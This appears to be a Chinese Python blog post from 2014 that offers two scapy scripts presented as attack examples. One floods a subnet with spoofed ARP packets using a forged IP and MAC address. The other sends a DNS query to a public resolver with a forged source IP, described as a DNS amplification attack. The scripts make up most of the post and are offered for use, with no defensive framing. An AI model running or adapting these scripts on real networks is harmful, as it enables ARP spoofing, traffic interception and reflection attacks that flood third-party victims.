Python中使用scapy模拟数据包实现arp攻击、dns放大攻击例子


Posted in Python onOctober 23, 2014

scapy是python写的一个功能强大的交互式数据包处理程序,可用来发送、嗅探、解析和伪造网络数据包,常常被用到网络攻击和测试中。

这里就直接用python的scapy搞。

这里是arp的攻击方式,你可以做成arp攻击。

#!/usr/bin/python

"""

ARP attack

"""

import sys, os

from scapy.all import *

if os.geteuid() != 0:

    print "This program must be run as root. Aborting."

    sys.exit()
if len(sys.argv) < 2:

    print "Pkease Use %s x.x.x" % (sys.argv[0])

    exit()

attackIP = sys.argv[1] + ".0/24"

srploop(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=attackIP, psrc="192.168.1.100", hwsrc="00:66:66:66:66:66"), timeout=2)

dns放大攻击

#coding:utf-8

from scapy import *

from scapy.all import *
a = IP(dst='8.8.8.8',src='192.168.1.200') #192.168.1.200 为伪造的源ip

b = UDP(dport=53)

c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)

c.qd=DNSQR(qname='www.qq.com',qtype=1,qclass=1)

p = a/b/c

send(p)

~
Python 相关文章推荐
python登陆asp网站页面的实现代码
Jan 14 Python
Python中的is和==比较两个对象的两种方法
Sep 06 Python
python+selenium实现163邮箱自动登陆的方法
Dec 31 Python
Python遍历pandas数据方法总结
Feb 09 Python
Python 爬虫之Beautiful Soup模块使用指南
Jul 05 Python
TensorFlow实现模型评估
Sep 07 Python
详解通过API管理或定制开发ECS实例
Sep 30 Python
python判断字符串或者集合是否为空的实例
Jan 23 Python
python查找重复图片并删除(图片去重)
Jul 16 Python
Python3将jpg转为pdf文件的方法示例
Dec 13 Python
Python中threading库实现线程锁与释放锁
May 17 Python
python基础入门之字典和集合
Jun 13 Python
使用Python开发windows GUI程序入门实例
Oct 23 #Python
手动实现把python项目发布为exe可执行程序过程分享
Oct 23 #Python
python文件操作整理汇总
Oct 21 #Python
Python中input和raw_input的一点区别
Oct 21 #Python
Python中if __name__ == &quot;__main__&quot;详细解释
Oct 21 #Python
Python创建文件和追加文件内容实例
Oct 21 #Python
python3生成随机数实例
Oct 20 #Python
You might like
用PHP+java实现自动新闻滚动窗口
2006/10/09 PHP
PHP页面间参数传递的四种方法详解
2013/06/09 PHP
PHP中HTML标签过滤技巧
2014/01/07 PHP
避免Smarty与CSS语法冲突的方法
2015/03/02 PHP
php采集神器cURL使用方法详解
2016/02/19 PHP
php使用ffmpeg向视频中添加文字字幕的实现方法
2016/05/23 PHP
PHP微信开发之文本自动回复
2016/06/23 PHP
Yii2第三方类库插件Imagine的安装和使用
2017/07/06 PHP
PHP实现从上往下打印二叉树的方法
2018/01/18 PHP
插件:检测javascript的内存泄漏
2007/03/04 Javascript
javascript 获取url参数和script标签中获取url参数函数代码
2010/01/22 Javascript
js 点击页面其他地方关闭弹出层(示例代码)
2013/12/24 Javascript
node.js中的path.sep方法使用说明
2014/12/08 Javascript
js 自带的sort() 方法全面了解
2016/08/16 Javascript
AngularJS删除路由中的#符号的方法
2016/09/20 Javascript
Web前端开发之水印、图片验证码
2016/11/27 Javascript
js数组常用最重要的方法
2018/02/04 Javascript
解决vue页面DOM操作不生效的问题
2018/03/17 Javascript
JavaScript中while循环的基础使用教程
2020/08/11 Javascript
js实现滑动进度条效果
2020/08/21 Javascript
python处理圆角图片、圆形图片的例子
2014/04/25 Python
python读文件保存到字典,修改字典并写入新文件的实例
2018/04/23 Python
在python3中实现查找数组中最接近与某值的元素操作
2020/02/29 Python
python中的selenium安装的步骤(浏览器自动化测试框架)
2020/03/17 Python
在Python3.74+PyCharm2020.1 x64中安装使用Kivy的详细教程
2020/08/07 Python
Eclipse面试题
2014/03/22 面试题
如何执行一个shell程序
2012/11/23 面试题
小学生家长评语集锦
2014/01/30 职场文书
三分钟演讲稿事例
2014/03/03 职场文书
初中学校对照检查材料
2014/08/19 职场文书
关于读书的演讲稿800字
2014/08/27 职场文书
英语邀请函范文
2015/02/02 职场文书
表扬信格式模板
2015/05/05 职场文书
教师读书活动心得体会
2016/01/14 职场文书
2021好看的国漫排行榜前十名 《完美世界》上榜,《元龙》排名第一
2022/03/18 国漫
如何利用python创作字符画
2022/06/25 Python